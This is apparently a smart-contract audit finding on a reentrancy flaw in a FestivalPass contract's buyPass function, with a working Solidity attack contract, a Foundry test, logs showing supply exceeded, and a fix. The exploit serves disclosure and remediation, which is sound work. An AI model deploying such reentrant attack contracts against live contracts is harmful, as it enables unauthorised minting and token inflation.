FestivalPass::buyPass
– Reentrancy vulnerability allows exceeding the supply limit
Description
The buyPass()
function allows users to purchase passes if the current passSupply is less than the set passMaxSupply.
However, since the call to _mint()
precedes the increment of passSupply, malicious code can be executed during onERC1155Received
, such as a reentrant call to buyPass.
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
...
Risk
Likelihood: High
The attack is easy to execute using a malicious contract implementing the IERC1155Receiver
interface. Simply send the correct ETH
and call buyPass()
, which is then automatically chained via onERC1155Received
, causing unchecked minting escalation.
Impact: Medium
Although ETH
funds are not directly at risk, this vulnerability allows exceeding the pass supply limit and, as a consequence, minting more BEAT tokens than intended, breaking the system's economy and reward distribution rules. This can cause token inflation and disproportionate rewards.
Proof of Concept
This proof of concept demonstrates how a malicious contract can exceed the maximum passMaxSupply limit using a recursive attack exploiting the onERC1155Received
function, forcing the creation of more passes than allowed by the protocol.
Contract Attack
contract Attack is IERC1155Receiver {
address public festivalPass;
constructor(address _festivalPass) {
festivalPass = _festivalPass;
}
function attack() external payable {
IFestival(festivalPass).buyPass{value: 0.05 ether}(1);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external override returns (bytes4) {
uint256 balance = IFestival(festivalPass).balanceOf(address(this), 1);
if (balance < 101) {
IFestival(festivalPass).buyPass{value: 0.05 ether}(1);
}
return this.onERC1155Received.selector;
}
}
function test_Attack() public {
Attack attacker = new Attack(address(festivalPass));
address attackerUser = makeAddr("attackerUser");
address legitUsers = makeAddr("legitUsers");
uint256 attackerEth = 102 * 0.05 ether;
uint256 legitUsersEth = 4999 * 0.05 ether;
vm.deal(attackerUser, attackerEth);
vm.deal(legitUsers, legitUsersEth);
for (uint256 i = 0; i < 4999; i++) {
vm.prank(legitUsers);
festivalPass.buyPass{value: 0.05 ether}(1);
}
vm.prank(attackerUser);
attacker.attack{value: attackerEth}();
console.log("GENERAL PASS ATTACKER BALANCE....:", festivalPass.balanceOf(address(attacker), 1));
console.log("GENERAL PASS TOTAL SUPPLY........:", festivalPass.passSupply(1));
}
Logs:
ATTACKER GENERAL PASS BALANCE....: 101
TOTALGENERAL PASS TOTAL SUPPLY...: 5100
The recorded values show that 5100 GENERAL_PASS type passes have been created, exceeding the intended maximum limit of 5000. The attacker obtained 101 via a recursive attack inside onERC1155Received. This confirms that the passMaxSupply validation can be bypassed during internal execution, allowing excessive pass creation.
Recommended Mitigation
This mitigation moves the line ++passSupply[collectionId];
before _mint(...)
to ensure the supply counter is incremented before control can be ceded to external contracts such as in onERC1155Received
.
This prevents an attacker from executing recursive purchases before the supply limit is effectively updated, protecting the maximum pass logic.
function buyPass(uint256 collectionId) external payable {
...
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ ++passSupply[collectionId];
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
...
}